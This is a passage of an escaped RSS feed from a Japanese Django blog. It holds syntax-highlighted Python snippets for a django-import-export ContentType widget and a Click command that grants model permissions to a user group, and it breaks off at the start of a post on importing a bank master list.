&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; import_export &lt;span style="color:#f92672"&gt;import&lt;/span&gt; fields, widgets
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; ContentType
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ContentTypeWidget&lt;/span&gt;(widgets&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ForeignKeyWidget):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;clean&lt;/span&gt;(self, value, row&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; value &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app_label, model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; value&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; content_type &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ContentType&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_by_natural_key(app_label, model)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; content_type
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(self, value, obj&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;value&lt;span style="color:#f92672"&gt;.&lt;/span&gt;app_label&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;value&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="usergroups"&gt;User.groups&lt;/h2&gt;
&lt;p&gt;User の Resource を定義するにあたって、groups を name で import/export するには、以下のように記述することができます。&lt;/p&gt;</description></item><item><title>django グループに権限を付与</title><link>https://hdknr.github.io/blogs/posts/2023/06/django-%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%E3%81%AB%E6%A8%A9%E9%99%90%E3%82%92%E4%BB%98%E4%B8%8E/</link><pubDate>Thu, 08 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/django-%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97%E3%81%AB%E6%A8%A9%E9%99%90%E3%82%92%E4%BB%98%E4%B8%8E/</guid><description>&lt;h2 id="django-指定したグループに権限を与える"&gt;Django: 指定したグループに権限を与える&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; itertools &lt;span style="color:#f92672"&gt;import&lt;/span&gt; product
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Permission, Group
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; ContentType
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.apps &lt;span style="color:#f92672"&gt;import&lt;/span&gt; apps
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@main.command&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;group_name&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;model_path&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.argument&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;action_suffix&amp;#34;&lt;/span&gt;, nargs&lt;span style="color:#f92672"&gt;=-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#75715e"&gt;# view とか view_other とか&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@click.pass_context&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;group_add_perms&lt;/span&gt;(ctx, group_name, model_path, action_suffix):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;指定したグループに権限を与える&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; group &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Group&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;group_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; app_label, model_name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; model_path&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; app_label &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;*&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_list &lt;span style="color:#f92672"&gt;=&lt;/span&gt; apps&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_models()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_list &lt;span style="color:#f92672"&gt;=&lt;/span&gt; list(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filter(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: model_name &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;*&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;or&lt;/span&gt; i&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model_mame &lt;span style="color:#f92672"&gt;==&lt;/span&gt; model_name,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apps&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_app_config(app_label)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_models(),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; actions &lt;span style="color:#f92672"&gt;=&lt;/span&gt; map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;_&amp;#34;&lt;/span&gt;), action_suffix)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_perm&lt;/span&gt;(item):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_class, actions &lt;span style="color:#f92672"&gt;=&lt;/span&gt; item
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; content_type &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ContentType&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_for_model(model_class)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; codename &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;actions[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;content_type&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;actions[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(actions) &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;actions[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;content_type&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; Permission&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(content_type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;content_type, codename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;codename)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;first()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perms &lt;span style="color:#f92672"&gt;=&lt;/span&gt; filter(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, map(_perm, product(model_list, actions)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; group&lt;span style="color:#f92672"&gt;.&lt;/span&gt;permissions&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;perms)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>銀行マスター</title><link>https://hdknr.github.io/blogs/posts/2023/06/%E9%8A%80%E8%A1%8C%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%BC/</link><pubDate>Thu, 08 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/%E9%8A%80%E8%A1%8C%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%BC/</guid><description>&lt;h1 id="django-import-export-で-銀行マスターを取り込む"&gt;django-import-export で 銀行マスターを取り込む&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
